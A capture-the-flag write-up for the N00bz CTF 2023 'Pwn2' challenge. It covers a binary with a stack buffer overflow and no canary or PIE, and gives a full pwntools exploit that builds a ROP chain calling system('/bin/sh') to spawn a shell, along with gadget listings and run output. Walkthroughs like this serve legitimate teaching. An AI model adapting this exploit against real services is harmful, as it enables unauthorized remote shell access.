Pwn2 [N00bz CTF 2023]

pwn
writeup by: sunbather

Description of the challenge

There is no win function this time!

Author: NoobMaster

Solution

Running checksec on the binary, we notice the lack of canary and PIE.

$ checksec pwn2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   42 Symbols	  No	0		1		pwn2

When we open the binary in Ghidra, we are greeted with the following main function:

void main(EVP_PKEY_CTX *param_1)
{
  char local_28 [32];
  
  init(param_1);
  puts("Would you like a flag?");
  fgets(input,0x19,stdin);
  puts("Wrong Answer! I\'ll give you another chance!\n");
  puts("Would you like a flag?");
  fgets(local_28,0x60,stdin);
  system("cat fake_flag.txt");
  return;
}

We notice the global variable input and local variable local_28. The input is passed to two different variables. Again a buffer overflow on local_28, but this time with no win function, like the descriptions says.

The idea would be maybe to write /bin/sh in the data section, through the input variable, and then use it in a ROP chain to call system, which is imported in the binary already.

So let’s ROP it.

$ ROPgadget --binary pwn2 | grep ret
0x000000000040110b : add bh, bh ; loopne 0x401175 ; nop ; ret
0x0000000000401228 : add byte ptr [rax - 0x77], cl ; ret 0x19be
0x00000000004010dc : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x000000000040117a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004010de : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040110a : add dil, dil ; loopne 0x401175 ; nop ; ret
0x000000000040117c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401177 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x00000000004010e3 : cli ; ret
0x000000000040128b : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004010e0 : endbr64 ; ret
0x0000000000401286 : leave ; ret
0x000000000040110d : loopne 0x401175 ; nop ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401285 : nop ; leave ; ret
0x00000000004011fa : nop ; pop rbp ; ret
0x000000000040110f : nop ; ret
0x0000000000401178 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040117d : pop rbp ; ret
0x0000000000401196 : pop rdi ; ret
0x000000000040101a : ret
0x000000000040122b : ret 0x19be
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040128d : sub esp, 8 ; add rsp, 8 ; ret
0x000000000040128c : sub rsp, 8 ; add rsp, 8 ; ret

We find a pop rdi ; ret which is essential for passing /bin/sh to system. So the full exploit is simply:

#!/usr/bin/env python3

from pwn import *

target = remote("challs.n00bzunit3d.xyz", 61223)
#target = process("./pwn2")

target.sendline(b"/bin/sh\x00") # send /bin/sh for first input

sys_addr = p64(0x00401080) # system address
pop_rdi_gadget = p64(0x0000000000401196) # pop rdi ; ret address
ret_gadget = p64(0x000000000040101a) # ret gadget - stack needs to be 16-bytes aligned for system()
sh_addr = p64(0x00404090) # /bin/sh address (the global input variable's address)

payload = b"a" * 0x28 + ret_gadget + pop_rdi_gadget + sh_addr + sys_addr

#gdb.attach(target)
target.sendline(payload)
target.interactive()

Notice the ret gadget, used as a NOP to align the stack to 16 bytes, which is a necessary precondition to calling system(). Failing to do so will result in a segmentation fault.

We run the exploit:

$ ./solve.py 
[+] Starting local process './pwn2': pid 25704
[*] Switching to interactive mode
Would you like a flag?
Wrong Answer! I'll give you another chance!

Would you like a flag?
n00bz{f4k3_fl4g}
$ whoami
sunbather

Easy shells.